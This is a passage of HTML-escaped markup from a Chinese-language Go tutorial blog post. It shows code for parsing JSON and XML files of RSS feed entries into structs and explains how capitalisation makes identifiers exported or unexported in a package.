注意:文件读取后,需要结构体来解析json数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e files []*Feed\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e json.NewDecoder(file).Decode(\u0026amp;files)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e files, \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 读取并解析 json 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e path = \u003cspan class=\"string\"\u003e\u0026#34;./data.json\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e feeds, err := ParseJSON(path)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;error: \u0026#34;\u003c/span\u003e, err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i, val := \u003cspan class=\"keyword\"\u003erange\u003c/span\u003e feeds {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;%d - site:%s, link:%s, type:%s\u0026#34;\u003c/span\u003e, i, val.Site, val.Link, val.Type)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 xml 数据到结构体中示例\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// data.xml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;?xml version=\u003cspan class=\"string\"\u003e\u0026#34;1.0\u0026#34;\u003c/span\u003e encoding=\u003cspan class=\"string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e ?\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;content\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;site\u0026gt;npr\u0026lt;/site\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;link\u0026gt;http:\u003cspan class=\"comment\"\u003e//www.npr.org/rss/rss.php?id=1001\u0026lt;/link\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;rss\u0026lt;/\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;site\u0026gt;npr\u0026lt;/site\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;link\u0026gt;http:\u003cspan class=\"comment\"\u003e//www.npr.org/rss/rss.php?id=1002\u0026lt;/link\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;rss\u0026lt;/\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;site\u0026gt;npr\u0026lt;/site\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;link\u0026gt;http:\u003cspan class=\"comment\"\u003e//www.npr.org/rss/rss.php?id=1003\u0026lt;/link\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;rss\u0026lt;/\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/item\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/content\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// main.go\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;encoding/xml\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;io/ioutil\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;os\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Content \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e XMLName xml.Name \u003cspan class=\"string\"\u003e`xml:\u0026#34;content\u0026#34;`\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 指定xml中的名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Item []item \u003cspan class=\"string\"\u003e`xml:\u0026#34;item\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e item \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e XMLName xml.Name \u003cspan class=\"string\"\u003e`xml:\u0026#34;item\u0026#34;`\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 指定xml中的名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Site \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`xml:\u0026#34;site\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Link \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`xml:\u0026#34;link\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Type \u003cspan class=\"type\"\u003estring\u003c/span\u003e \u003cspan class=\"string\"\u003e`xml:\u0026#34;type\u0026#34;`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 解析 XML 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eParseXML\u003c/span\u003e\u003cspan class=\"params\"\u003e(path \u003cspan class=\"type\"\u003estring\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e (*Content, \u003cspan class=\"type\"\u003eerror\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 读取 xml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data, err := ioutil.ReadFile(path)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e, err\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e con Content\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 解析 xml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e xml.Unmarshal(data, \u0026amp;con)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u0026amp;con, \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 读取并解析 xml 数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e xmlpath = \u003cspan class=\"string\"\u003e\u0026#34;./data.xml\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e content, err := ParseXML(xmlpath)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e err != \u003cspan class=\"literal\"\u003enil\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;error: \u0026#34;\u003c/span\u003e, err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i, val := \u003cspan class=\"keyword\"\u003erange\u003c/span\u003e content.Item {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;%d - site:%s, link:%s, type:%s\u0026#34;\u003c/span\u003e, i, val.Site, val.Link, val.Type)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"02-公开或未公开的标识符\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#02-%E5%85%AC%E5%BC%80%E6%88%96%E6%9C%AA%E5%85%AC%E5%BC%80%E7%9A%84%E6%A0%87%E8%AF%86%E7%AC%A6\" class=\"headerlink\" title=\"02. 公开或未公开的标识符\"\u003e\u003c/a\u003e\u003cstrong\u003e02.\u003c/strong\u003e 公开或未公开的标识符\u003c/h2\u003e\u003cp\u003e在Go语言中,声明类型、函数、方法、变量等标识符时,使用大小写字母开头来区分该标识符是否公开(即是否能在包外访问)。\u003c/p\u003e\u003cp\u003e大写字母开头表示公开,小写字母开头表示非公开。所以如果某个结构类型以及结构类型的字段,函数,方法,变量等标识符,想要被外部访问到,那必须以大写字母开头。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// user 包\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于 int 类型声明一个 duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 未公开的类型(以小写字母开头)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 包外部,不能直接访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e duration \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 公开的类型(以大写字母开头)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 包外部能直接访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Duration \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 未公开的结构类型 user\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e user \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 公开的结构类型 User\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e User \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e address\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 未公开的 address 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 包含公开的字段 City\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e address \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e City \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e position position\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e position \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Longitude \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Latitude \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 通过工厂函数,返回未公开的变量类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eNew\u003c/span\u003e\u003cspan class=\"params\"\u003e(num \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e duration {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e duration(num)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan 